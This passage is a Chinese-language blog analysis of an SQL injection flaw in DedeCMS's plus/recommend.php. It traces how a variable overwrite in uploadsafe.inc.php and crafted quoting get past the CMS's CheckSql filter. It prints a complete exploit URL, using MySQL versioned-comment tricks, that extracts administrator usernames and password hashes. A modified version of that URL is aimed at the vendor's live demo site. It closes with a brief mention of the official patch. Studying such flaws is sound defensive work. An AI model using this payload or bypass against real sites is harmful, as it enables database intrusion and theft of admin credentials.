plusrecommend.php,DedeCMSrecommend.php文件通杀SQL注入漏洞原理分析 | 学步园

漏洞执行过程

1.首先执行到plus/recommand.php,包含了include/common.inc.php

require_once(dirname(__FILE__)."/../include/common.inc.php");

2来看到include/common.inc.php

function _RunMagicQuotes(&$svar)

{

if(!get_magic_quotes_gpc())

{

if( is_array($svar) )

{

foreach($svar as $_k =>$_v) $svar[$_k] = _RunMagicQuotes($_v);

}

else

{

if( strlen($svar)>0 &&preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )

{

exit('Request var not allow!');

}

$svar = addslashes($svar);

}

}

return $svar;

}

if (!defined('DEDEREQUEST'))

{

//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)

function CheckRequest(&$val) {

if (is_array($val)) {

foreach ($val as $_k=>$_v) {

if($_k == 'nvarname') continue;

CheckRequest($_k);

CheckRequest($val[$_k]);

}

} else

{

if( strlen($val)>0 &&preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val) )

{

exit('Request var not allow!');

}

}

}

//var_dump($_REQUEST);exit;

CheckRequest($_REQUEST);

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v)

{

if($_k== 'nvarname') ${$_k} = $_v;

else${$_k} = _RunMagicQuotes($_v);

}

}

}

只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入

3.然后142行又包含了include/uploadsafe.inc.php文件

d063f890802ac30fc9b0719d905518d0.png

在29行处,URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖

$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);

4.回到recommand.php中,注入语句被带入数据库查询,代码38行:

$arcRow=$dsql->GetOne("SELECTs.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ONs.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");

以上是漏洞执行过程,下面看一下具体的数据变化:

漏洞Exp:

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

参数如下:

?action=

&aid=1

&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+

&_FILES[type][name]=1.jpg

&_FILES[type][type]=application/octet-stream

&_FILES[type][size]=4294

其中最重要的参数是_FILES[type][tmp_name]

0.原始数据

\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+

1.URL提交进来后,\ 和 ’ 分别被转义成 \\ 和 \’

\\\' or mid=@`\\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\\'`

2.URL被带入include/common.inc.php中检查,此步数据未发生变化

3.然后来到了include/uploadsafe.inc.php中,经过第29行str_replace后,\\被过滤成了\

$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);

\\' or mid=@`\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\'`

此时引号被成功的带入了查询语句中

4.回到plus/recommend.php中,第38行,此时SQL语句被拼成如下:

SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` '

5.跟踪GetOne函数,来到include/dedesqli.class.php,346行SetQuery函数,将SQL语句中的表前缀#@_替换回真成的前缀

SELECT s.*,t.* FROM `dede_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` '

6.然后执行了Execute函数,转到288行Execute函数的定义,看到在执行SQL之前对其进行了检查

846b865d2c8c87e94d65a3570bbd6723.png

(1)第一次SQL注入检测。跟踪到CheckSql函数中,首先是对sql语句的一次正则,主要看是否存在union|sleep|benchmark|load_file|outfile等关键字,

93180cd57205665e5a71bf66186af324.png

用正则工具测试,可以看到此时的SQL语句可以绕过第一次sql注入检测

25989189bdb2010e28a58d102854d05e.png

(2)第二次SQL注入检测。主要在第626行的While循环中,将所有单引号之间的字符串全部替换成$s$

//完整的SQL检查

while (TRUE)

{

$pos = strpos($db_string, '\'', $pos + 1);

if ($pos === FALSE)

{

break;

}

$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (TRUE)

{

$pos1 = strpos($db_string,'\'', $pos + 1);

$pos2 = strpos($db_string,'\\', $pos + 1);

if ($pos1 === FALSE)

{

break;

}

elseif ($pos2 == FALSE || $pos2> $pos1)

{

$pos = $pos1;

break;

}

$pos = $pos2 + 1;

}

$clean .= '$s$';

$old_pos = $pos + 1;

}

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '),$clean)));

经过此次过滤后,SQL语句变成(注意被替换掉的部分):

select s.*,t.* from `dede_member_stow` as sleft join `dede_member_stowtype` as t on s.type=t.stowname where s.aid=$s$ ands.type=$s$ or mid=@`\\$s$` $s$

紧接下来是另一次的union|sleep|benchmark|load_file|outfile等关键字检测,此时的正则规则更严格,但union,select等关键字已被替换成$s$,因此不会触发正则

7.CheckSql函数仅是对sql语句进行检测,并不会改变原来的查询语句,Sql检查完成后,回到Execute函数,5中的SQL语句最终被带入查询

SELECT s.*,t.* FROM `dede_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`\\'` '

b504c6cfaaf4e8bc2b7343ec34500d24.png

8.Sql成功执行,查询结果以数组的形式返回给plus/recommend.php中的$arcRow中(38行),最终显示回显到Web页面上

$arcRow=$dsql->GetOne("SELECTs.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ONs.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");

8666d17a5e162210e459eb5bc3b5dd54.png

注:

所构造SQL语句中的几个关键点:

\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+

还原成非URL编码,看起来更直观:

\' or mid=@`\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\'`

(1)or mid=@`\’` 和尾部#@`\'` 存在的意义。刚开始一直没明白加入mid有什么作用,但去掉后就无法正常执行SQL查询,后来发现,在checksql函数中第二次SQL检查时,这两个里的单引号正好可以匹配SQL检查中的规则,使得单引号中的所有字符被替换成$s$,从而躲过下面的union,select等关键字匹配(其实尾部不需要再添加一个单引号了,但#号是必须的,因为在plus/recommand.php第38行拼接SQL时,最后有一个单引号来闭合前面的了,可参考本节后修改后的Exp)。mid可以为dede_member_stow表或dede_member_stowtype表中其它字段名,如id等,只要最终的SQL能成功执行即可。@标签可以屏蔽执行时的错误(不知道具体为什么),尾部的#号将其后的字符注释掉,防止错误。

(2)/*!50000union*//*!50000select*/。这种写法是Mysql中特有的方式,MySQL服务器包含一些其他SQLDBMS中不具备的扩展。在某些情况下,可以编写包含MySQL扩展的代码,但仍保持其可移植性,方法是用“/*... */”注释掉这些扩展。如果在字符“!”后添加了版本号,仅当MySQL的版本等于或高于指定的版本号时才会执行注释中的语法。具体参考:http://blog.itpub.net/82392/viewspace-406705

此例中,union和select虽然被注释符包围,但根据Mysql的这个特性,仍然能够执行。50000表示Mysql版本大于5.0

(3)CONCAT(0x7c,userid,0x7c,pwd)。这个就很容易理解了,将userid和pwd两个字段的查询结果拼成一个字符串,方便处理,查询结果类似:|admin|f297a57a5a743894a0e4

根据以上分析,可以将Exp修改如下:(截止到2014.3.5,官方演示站点仍可执行成功)

http://v57.demo.dedecms.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

70bbe66390023bbee03a6c2e08aaca65.png

漏洞修复:

根据官方发布的漏洞补丁,主要修改文件include/uploadsafe.inc.php中第29行(上面为修复前,下面为修复后):

0255861adb3dfd5bd6cf26250ab25920.png

参考:

[2]

http://blog.itpub.net/82392/viewspace-406705

第一次分析代码,如有错误或不足,肯请指正!Email:change518#163.com

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值